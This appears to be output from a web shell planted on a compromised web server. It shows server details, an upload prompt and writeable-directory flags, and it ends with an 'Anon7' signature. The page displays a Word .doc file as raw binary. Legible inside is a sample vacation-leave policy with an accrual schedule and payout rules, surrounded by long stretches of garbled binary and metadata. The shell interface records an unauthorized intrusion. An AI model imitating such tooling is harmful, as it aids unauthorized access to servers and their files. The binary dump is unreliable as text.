KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/theregisgroup/newfromRegis/PdfLeadershipTools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/theregisgroup/newfromRegis/PdfLeadershipTools/SampleSOP2-25VacationBB.doc
��ࡱ�>��	Y[����X��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������	��xbjbj���	2,�������������nn������������8�$!4�EK�UUL�������J�J�J�J�J�J�J$�L��O��J��SS@���J������J�������J��J��EXXI������ʥ\	b��3F4G(�JK0EK\G�PydPPXIP�XIX��������J�J�$���EK������������������������������������������������������������������������P���������n	w:	PURPOSE: To grant vacation leave for full and part time employees. 

POLICY:
The amount of paid vacation time eligible full-time employees receive each year increases with the length of their active employment as shown in the following schedule:
Upon initial eligibility of less than one full year, the employee is entitled to 5 vacations days
After 1 year of eligible service the employee is entitled to 10 vacation days each year
After 6 years of eligible service the employee is entitled to 11 vacation days each year
After 7 years of eligible service the employee is entitled to 12 vacation days each year
After 8 years of eligible service the employee is entitled to 13 vacation days each year
After 9 years of eligible service the employee is entitled to 14 vacation days each year
After 10 years of eligible service the employee is entitled to 15 vacation days each year
After 11 years of eligible service the employee is entitled to 16 vacation days each year
After 12 years of eligible service the employee is entitled to 17 vacation days each year
After 13 years of eligible service the employee is entitled to 18 vacation days each year
After 14 years of eligible service the employee is entitled to 19 vacation days each year
After 15 years of eligible service the employee is entitled to 20 vacation days each year
Part-time employees will receive 5 days of paid vacation equal to their average work week hours for the first 5 years of service. After 5 years of eligible service the part-time employee is entitled to 10 vacation days each year
Employees who are eligible for 10 days of vacation may split the vacation time onto 1 week periods or may take 5 vacation days a day at a time.  Employees who are eligible for 15 days or more days of vacation may take 10 vacation days a day at a time
When termination of employment occurs between January 1 and March 31 (current year), no vacation leave is paid. When termination of employment occurs between April 1 and June 30 (current year), one-half of the earned but not taken vacation will be paid 
Employees will be paid for unused vacation upon termination when they have provided two weeks notice prior to their termination. If vacation has been taken prior to a March 31 or June 30 termination date, the employee will be required to reimburse TRG for any unearned vacation time used  
If an employee leaves and is then rehired, length of service for vacation purposes will be determined by using the new employment date
Vacations must be taken in the year earned and cannot be carried forward from one year to the next
Pay may not be taken in lieu of unused vacation
All vacation leave is subject to prior approval of an employee�s manager or supervisor


PROCEDURES:
Vacation period requests should be made to your manager or supervisor as far in advance as possible. Requests will be granted with consideration for the following factors:
Seniority within the company and the employee�s department
The number of persons already scheduled for vacation during the specified period and the availability of qualified replacement help

If a scheduled holiday falls during a vacation period, another vacation day will be granted


EXCEPTIONS: None	











(COMPANY NAME) POLICIES AND PROCEDURES
Confidential

Subject:  Vacation LeavePolicy Number: 2.25Page  PAGE 1 of  NUMPAGES  2
Approval:Approval Date: Effective Date: Administered by:Revision Date:1.
2.





Unauthorized copy or transmission of this document is prohibited.

 FILENAME   \* MERGEFORMAT SAMPLE SOP 2.25 Vacation Leave EE.doc	3/22/13	page  PAGE   \* MERGEFORMAT 1
Tel.: 703.777.2233	www.sample.com	�2012 The Regis Group Inc.
			









	MOX	�	�	�	/
0

�	������������������������������������𿷳����������{s�skcsh}9OJQJh7]OJQJh�y�OJQJh�y�5�OJQJ\�h�kA5�OJQJ\�2jhT�hT�5�OJQJU\�mHnHtHuh_	�hT�hfRwjhfRwUhi4Zh~hZOJQJhE�h86�OJQJh�GVh8OJQJh*Y�h8OJQJh8OJQJh@J�OJQJ$DEM�X	�		
b
�
n�"|�0
0�J�������������������������
&Fgd8
&Fgd8
&F
gd8gd@J����^�`��gd8����[�wxy����������������������������������gdi4Z	
���!gd8��^��gd8
&Fgd8
&Fgd8gd8������ !",�������bT����d�0$If]���ekd$$If�d4���Fx���%v��������
��������������%���������������������������4�
da��f4yt*U{$�d�0$Ifa$gdi4Z$If
�d�0$If
�d�0$Ifgd�ya	$
���a$	�	
 "*-5:<=FO_anoprsvwyz{|}��������������ͽŽ���ŵŭ����������rch�_�h~�CJOJQJaJ"h�_�h~�5�CJOJQJ\�aJh~�5�CJ\�h_	�hT�h�y�h�y�CJOJQJaJh�SOJQJh��OJQJh�KOJQJh� �OJQJh�kAOJQJh�y�OJQJhi4Zh�2�OJQJmHnHujhi4Zhi4ZOJQJUhi4Zhi4ZOJQJ&,-=NO`apsv���fU��������d�0$If]���gdR4!xkd�$$If�d4���\x�� �%R$	����2
�����	��%�����������������4�
da��f4ytR4!�d$Ifgd/��d$Ifgd��
�d�0$If	vwxyz{|}��-k�}{}ssndd

�H�$gd~�gd~�$a$gd~�
���xkd�$$If�d4���\x�� �%R$	����2
�����	��%�����������������4�
da��f4ytR4!������)*+,-.4@AEKOPV�����Ʒ������{��b���SGS�Sh�kACJOJQJaJh�_�h�'�CJOJQJaJ0jh�_�h~�CJOJQJUaJmHnHu!h�2�CJOJQJaJmHnHu%jh�_�h~�CJOJQJUaJhi4ZCJOJQJaJh}9CJOJQJaJh�_�h~�CJOJQJaJh3�CJOJQJaJ!hT�CJOJQJaJmHnHuhT�CJOJQJaJjhT�CJOJQJUaJVejmopqrstuvwx�����¾������hi4Zh~hfRwh_	�hT�h�y�h~�h�y�aJ
h~�CJh~�CJaJh�_�h~�CJOJQJaJh�A1CJOJQJaJhZCJOJQJaJ
kopqrstuvwx����������gdi4Zgd~�

�H�$gd~�
0&P1�F��/ ��=!��"��#��$��%���� ���$$If��!vh5�v5�
5�#vv#v
#v:V�d4����%�5�v5�
5�/���������/�/���������/��4�4�
da��f4yt*U{$$If��!vh5�R5�$	5�2
5��	#vR#v$	#v2
#v�	:V�d4����%�5�R5�$	5�2
5��	/�/��/��/���������/�/�/�/��4�4�
da��f4ytR4!$$If��!vh5�R5�$	5�2
5��	#vR#v$	#v2
#v�	:V�d4����%�5�R5�$	5�2
5��	/�/��/��/���������/�/�/�/��4�4�
da��f4ytR4!^2���� 0@P`p������2(�� 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p��8X�V~_HmH	nH	sH	tH	H`�HNormal CJOJQJ_HaJmH	sH	tH	DA �DDefault Paragraph FontVi@�VTable Normal :V�4�4�
la�(k �(No List.X��.Emphasis6�]�4@4Header

���!4 @4Footer

���!H�"HBalloon TextCJOJQJ^JaJPK!����[Content_Types].xml���j�0E����ж�r�(��΢Iw},��-j��4	��w�P�-t#bΙ{U�����T�U^h�d}㨫��)��*1P�'��	�^��W��0)��T�9<�l�#��$yi}��;�~@��(��H����u�*Dנz��/0�ǰ��$��X��3aZ����,�D0j~�3߶�b��~i>���3�\`�?�/�[���G��\�!�-�Rk.�s�Ի�..���a濭?��PK!�֧�6_rels/.rels���j�0���}Q��%v/��C/�}�(h"���O�
����=������ ����C?�h�v=��Ʌ��%[xp��{۵_�Pѣ<�1�H�0���O�R�Bd���JE�4b$��q_����6L�R�7`������0̞O��,�En7�Li�b��/�S���e��е�����PK!ky���theme/theme/themeManager.xml�M
� @�}�w��7c�(Eb�ˮ��C�AǠҟ����7��՛K
Y,�
�e�.���|,���H�,l����xɴ��I�sQ}#Ր���� ֵ+�!�,�^�$j=�GW��)�E�+&
8���PK!����Ptheme/theme/theme1.xml�YOo�6��w toc'vu�ر�-M�n�i���P�@�I}��úa��m�a[�إ�4�:lЯ�GR��X^�6؊�>$�������!)O�^�r�C$�y@�����/�yH*��񄴽)�޵��߻��UDb�`}"�qۋ�Jח���X^�)I`n�E���p)���li�V[]�1M<������O�P��6r�=���z�gb�Ig��u��S�eb��O������R�D۫����qu	�g��Z����o~ٺlAp�lx�pT0���+[}`j���zA��V�2�F���i�@�q�v�֬5\|��ʜ̭N��le�X�ds���jcs���7���f����
��W��+�Ն�7����`���g�Ș��J���j|��h(�K��D-����
dX��iJ�؇(��x$(��:��;�˹!�I_�T��S1�����?E��?�����?ZBΪm���U/������?�~����xY���'���y5�g&΋/����ɋ�>���G�M�Ge���D�����3Vq%'#q�����$�8��K�����)f�w9:ĵ��
x}r�x����w���r�:\TZaG�*�y8I�j�bR��c|XŻ�ǿ�I
u3KG�nD1�NIB�s���
��R��u���K>V�.EL+M2�#'�f��i~�V��vl�{u8��z��H�
�*���:�(W�☕
~��J�T�e\O*�tHG��HY��}KN�P�*ݾ˦���TѼ�9/#��A7�qZ��$*c?���qU��n��w�N��%��O��i�4=3ڗP��
����1�P�m\\9���������Mؓ�2a�D�]�;Yt�\��[x����]�}Wr��|�]��g-���
eW�
�)6-r��CS�j��
i�d	�DЇA�ΜIqbJ#x�꺃6k���#��A�Sh��&ʌt(Q�%��p%m��&]�caSl=�X�����\P�1�Mh�9�M��V�dDA��aV�B��[݈fJ�íP|8�քA�V^��f
�H��n���-��"�d>�z��n��NJ�	�ة�>�b���&����2��v����Kyϼ��D:����,AGm��\nz��i�Ù��.uχYC�6�OMf��3o�r��$��5�����NH�T[XF64�T,ќ���M0�E)`#�5�XY�`�פ;��%�1�U�٥m;���R>QD����D�cp�U�'��&LE�/p���m���%]�����8fi��r�S4�d7y\�`�J�n���ί�I�R��3U�~7+���׸#��m�q�BiD���������i*�L6�9�m�Y&���i���HE��=(K&�N!V�.K�e�LD�ĕ�{D	����vEꦚde��NƟ��e�(�MN9ߜR�6����&3(��a���/D��U�z�<�{ˊ�Y��ȳ����V���)�9�Z[��4^n��5���!J��?��Q�3�eBo�C����M����m<�.�vp�����IY�f���Z�Y_p�[�=al-�Y�}Nc͙���ŋ4vfa��vl����'S��A�8�|�*u�{��-�ߟ0%M0�7%����<���ҍ���PK!
ѐ��'theme/theme/_rels/themeManager.xml.rels��M
�0���wooӺ�&݈Э���5
6?$Q��
�,.�a��i����c2�1h�:�q��m��@RN��;d�`��o7�g�K(M&$R(.1�r'J��ЊT���8��V�"��AȻ�H�u}��|�$�b{��P����8�g/]�QAsم(����#��L�[������PK-!����[Content_Types].xmlPK-!�֧�6+_rels/.relsPK-!ky���theme/theme/themeManager.xmlPK-!����P�theme/theme/theme1.xmlPK-!
ѐ��'�	theme/theme/_rels/themeManager.xml.relsPK]�
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>x,����	��������Vx��,vkx
v}���4Pr����!���������!����@� @��������� ��0�(	�
��B
�S����	?������(	�
��t
�
s�*�����?�  3"����?����
�
��;�����DD���������D�  SAMPLECalibriPowerPlusWaterMarkObject357922611c"�$������?����$w`@�0*s�fk������������



p
u
�
�
,vy���������vy������



,prvy��������������������



 
"
*
,
,
5
:
<
<
=
F
M
M
O
w
z
�
�
,prvy,@o�ƻ����������l�:6*����������M+oL�����������&�0g���������b+�8)���������%�%oL�����������n1x�������������M�6�������������D2>���������������A�ƻ����������M�D<��E����������e�I�������������FUx_,%`o���������
�b������������0blv�N.����������zt��"����������/�x�w������������������^��`���OJQJo(�h�H���������^��`���OJQJo(�h�Ho�p����p^�p`���OJQJo(�h�H���@����@^�@`���B*OJQJo(ph��h�H>������^�`���OJQJo(�h�Ho�������^��`���OJQJo(�h�H���������^��`���OJQJo(�h�H���������^��`���OJQJ^Jo(�h�Ho�P����P^�P`���OJQJo(�h�H��h�8����8^�8`���OJQJo(���h�����^�`���OJQJo(o�h��	�����	^��	`���OJQJo(���h�������^��`���OJQJo(���h�x����x^�x`���OJQJo(o�h�H����H^�H`���OJQJo(���h�����^�`���OJQJo(���h�������^��`���OJQJo(o�h�������^��`���OJQJo(��h�������^��`���OJQJo(��h�������^��`���OJQJo(oh�p����p^�p`���OJQJo(��h�@����@^�@`���OJQJo(��h�����^�`���OJQJo(oh�������^��`���OJQJo(��h�������^��`���OJQJo(��h�������^��`���OJQJo(oh�P����P^�P`���OJQJo(���
�������^��`���o(�h�H.�
�������^��`����h�H.�
�p�L��p^�p`�L��h�H.�
�@����@^�@`����h�H.�
�����^�`����h�H.�
���L���^��`�L��h�H.�
�������^��`����h�H.�
�������^��`����h�H.�
�P�L��P^�P`�L��h�H.h�h����h^�h`���OJQJo(���h�8����8^�8`���OJQJo(o�h�����^�`���OJQJo(���h��	�����	^��	`���OJQJo(���h�������^��`���OJQJo(o�h�x����x^�x`���OJQJo(���h�H����H^�H`���OJQJo(���h�����^�`���OJQJo(o�h�������^��`���OJQJo(��h�������^��`���OJQJo(��h�������^��`���OJQJo(oh�p����p^�p`���OJQJo(���h�@����@^�@`���OJQJo(���h�����^�`���OJQJo(o�h�������^��`���OJQJo(���h�������^��`���OJQJo(���h�������^��`���OJQJo(o�h�P����P^�P`���OJQJo(��h�����^��`���OJQJo(�h�H���h�����^��`���OJQJ^Jo(�h�Ho�h�p���^�p`���OJQJo(�h�H���h�@���^�@`���OJQJo(�h�H���h����^�`���OJQJ^Jo(�h�Ho�h�����^��`���OJQJo(�h�H���h�����^��`���OJQJo(�h�H���h�����^��`���OJQJ^Jo(�h�Ho�h�P���^�P`���OJQJo(�h�H��h�������^��`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�p����p^�p`���OJQJo(�h�H���h�@����@^�@`���OJQJo(�h�H���h�����^�`���OJQJ^Jo(�h�Ho�h�������^��`���OJQJo(�h�H���h�������^��`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�P����P^�P`���OJQJo(�h�H��
�������^��`����h�H.�
�������^��`����h�H.�
�p�L��p^�p`�L��h�H.�
�@����@^�@`����h�H.�
�����^�`����h�H.�
���L���^��`�L��h�H.�
�������^��`����h�H.�
�������^��`����h�H.�
�P�L��P^�P`�L��h�H.�������^��`���OJQJo(�h�H���������^��`���OJQJo(�h�Ho�p����p^�p`���OJQJo(�h�H���@����@^�@`���B*OJQJo(ph��h�H>������^�`���OJQJo(�h�Ho�������^��`���OJQJo(�h�H���������^��`���OJQJo(�h�H���������^��`���OJQJ^Jo(�h�Ho�P����P^�P`���OJQJo(�h�H��h�������^��`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�p����p^�p`���OJQJo(�h�H���h�@����@^�@`���OJQJo(�h�H���h�����^�`���OJQJ^Jo(�h�Ho�h�������^��`���OJQJo(�h�H���h�������^��`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�P����P^�P`���OJQJo(�h�H��
�������^��`����h�H.
�������^��`����h�H.
�p�L��p^�p`�L��h�H.
�@����@^�@`����h�H.
�����^�`����h�H.
���L���^��`�L��h�H.
�������^��`����h�H.
�������^��`����h�H.
�P�L��P^�P`�L��h�H.h�����^��`���OJQJo(o�h�p���^�p`���OJQJ^Jo(�h�Ho�h�@���^�@`���OJQJo(�h�H���h����^�`���OJQJo(�h�H���h�����^��`���OJQJ^Jo(�h�Ho�h�����^��`���OJQJo(�h�H���h�����^��`���OJQJo(�h�H���h�P���^�P`���OJQJ^Jo(�h�Ho�h� ���^� `���OJQJo(�h�H��h�������^��`���OJQJo(��h�������^��`���OJQJo(o�h�p����p^�p`���OJQJo(���h�@����@^�@`���OJQJo(���h�����^�`���OJQJo(o�h�������^��`���OJQJo(���h�������^��`���OJQJo(���h�������^��`���OJQJo(o�h�P����P^�P`���OJQJo(��h�8����8^�8`���OJQJo(���h�����^�`���OJQJo(o�h��	�����	^��	`���OJQJo(���h�������^��`���OJQJo(���h�x����x^�x`���OJQJo(o�h�H����H^�H`���OJQJo(���h�����^�`���OJQJo(���h�������^��`���OJQJo(o�h�������^��`���OJQJo(��h�������^��`���OJQJo(��h�������^��`���OJQJo(o�h�p����p^�p`���OJQJo(���h�@����@^�@`���OJQJo(���h�����^�`���OJQJo(o�h�������^��`���OJQJo(���h�������^��`���OJQJo(���h�������^��`���OJQJo(o�h�P����P^�P`���OJQJo(���8����8^�8`���OJPJQJ^Jo(-������^�`���OJQJo(o���	�����	^��	`���OJQJo(����������^��`���OJQJo(����x����x^�x`���OJQJo(o��H����H^�H`���OJQJo(��������^�`���OJQJo(����������^��`���OJQJo(o��������^��`���OJQJo(���D2>�e�I�&�M�D�M�6%�%�M+��A,@o�zt
�b�l��0blb+�/�x�n1FUx_������������������������������������������������������������������������									fu��																																																																																																		�r=								P�O�v�6	�S+7nZR4!�-"�H$6Z-�O/�A18!:G+=�>�l@�kAZCEeC#ZF�KVQP�sUZi4Z7]�ya�'h/oj!bkkfRwihw*U{�}}9~�_�~�����7��^��@��'��
���]B���@J��2�� �/��.��z�����O�`v��
�3�q'���_	�j�3�5���T��y���'p�����'��n�{2�e������@��_xx@��Unknown������������G��* ��Times New Roman5��Symbol3.��* ��Arial5.��*a��Tahoma?=�	�* ��Courier New;��WingdingsA���$B�Cambria Math"1���h+g+gc��
��
!���x���r4d��2�Q���HX	�?�����������������>2!xx��� Subject:  Vendor Warranty PolicyMarc Paul Chinoy P	

����Oh��+'��0�������	$
DP\
ht|���$Subject:  Vendor Warranty PolicyMarc Paul ChinoyNormal.dotm 2Microsoft Office Word@@ �+O�@��9	b�@��9	b���
����՜.��+,��0hp��������
���The Regis Group, Inc.�!Subject:  Vendor Warranty PolicyTitle	

�������� !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFG����IJKLMNO����QRSTUVW��������Z��������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry��������	�F���\	b�\�Data
������������1Table����mPWordDocument����2,SummaryInformation(������������HDocumentSummaryInformation8��������PCompObj������������y������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�F'Microsoft Office Word 97-2003 Document
MSWordDocWord.Document.8�9�q

Anon7 - 2021